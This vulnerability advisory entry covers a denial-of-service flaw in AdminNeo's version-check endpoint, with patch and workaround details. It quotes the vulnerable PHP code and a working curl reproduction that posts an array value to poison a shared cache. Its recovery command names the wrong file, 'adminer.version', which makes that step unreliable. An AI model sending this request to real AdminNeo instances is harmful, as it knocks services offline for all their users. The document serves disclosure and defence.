---
id: "CVE-2026-59978"
kind: "vulnerability"
aliases: ["CVE-2026-59978", "GHSA-jm85-8cpp-9cjc"]
title: "AdminNeo: version-cache array injection causes persistent denial of service"
severity: "high"
cvss: 7.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "adminneo-org/adminneo", "fixed": ["5.5.0"], "affected": ">= 4.6.2, < 5.5.0", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["adminneo", "cwe-20", "package", "php", "self-hosted"]
not_affected_if: ["not-network-reachable", "version-5.5.0-or-later", "version-below-4.6.2"]
published_at: "2026-10-30T18:53:08+00:00"
first_seen_at: "2026-10-30T18:55:51+00:00"
updated_at: "2026-10-30T18:56:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-jm85-8cpp-9cjc", "first_seen_at": "2026-10-30T18:55:51+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59978", "first_seen_at": "2026-10-30T19:25:29+00:00"}]
---

# AdminNeo: version-cache array injection causes persistent denial of service

AdminNeo's version-check endpoint accepts any POST without validation, so an array value gets cached and breaks page rendering. An unauthenticated attacker can make every user of the instance receive HTTP 500 errors for about 24 hours.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:adminneo-org/adminneo affected >= 4.6.2, < 5.5.0 fixed 5.5.0

## How to check

- Confirm the installed version of `composer:adminneo-org/adminneo`, for example with `composer show adminneo-org/adminneo`
- Check whether the instance is reachable from the internet or an untrusted network
- Look for `adminneo.version` in the PHP temp directory (`upload_tmp_dir`) to see whether a poisoned cache file exists

## Fix

- `adminneo-org/adminneo` `5.5.0` (affected `>= 4.6.2, < 5.5.0`)
- Workaround from the advisory if upgrading is not possible: make `adminneo.version` in the temp directory unwritable by the web server

## Timeline

- 2026-10-30T18:55:51+00:00 ghsa https://github.com/advisories/GHSA-jm85-8cpp-9cjc
- 2026-10-30T19:25:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-59978

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-jm85-8cpp-9cjc
- [advisory] Maintainer's advisory: github.com https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc
- [fix] Patch: github.com https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907
- [fix] Release: github.com https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0

## From the sources

### Summary
AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh
Although the version checking process was modified in AdminNeo, the root cause persisted.

### Workaround
If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.

### Details
#### 1. Intended design of `?script=version`
The endpoint is designed to receive version data from GitHub via browser JavaScript.
- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.
- JavaScript POSTs version number to `?script=version`.
- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.

```js
// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);
```

#### 2. The vulnerability

The endpoint only checks `$_GET["script"] == "version"` - it does not validate:
- Request origin (CSRF token is present, but not checked for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (`version` expected as string, array not rejected)

```php
// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}
```

#### 3. Type confusion crash
When POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:

```php
// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}
```

PHP 8.x throws:

```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```

### Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

**Step 1:** Verify AdminNeo is running and accessible.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```

Expected output:

```
200
```

**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.

```sh
curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"
```

Expected output: Empty response (no error).

**Step 3:** Access Adminer again to trigger the crash.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```

Expected output:

```
500
```

**Step 4:** (Optional) View the PHP error in server logs.

```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```

**Step 5:** (Optional) Inspect the poisoned file.

```sh
cat /tmp/adminneo.version
```

Expected output:

```
a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
```

**Recovery:**

```sh
rm /tmp/adminer.version
```

After deletion, AdminNeo returns HTTP 200.

<hr>

### Impact

**Type:** Denial of Service

**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.

**Affected users:** Any AdminNeo instance accessible over the network.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_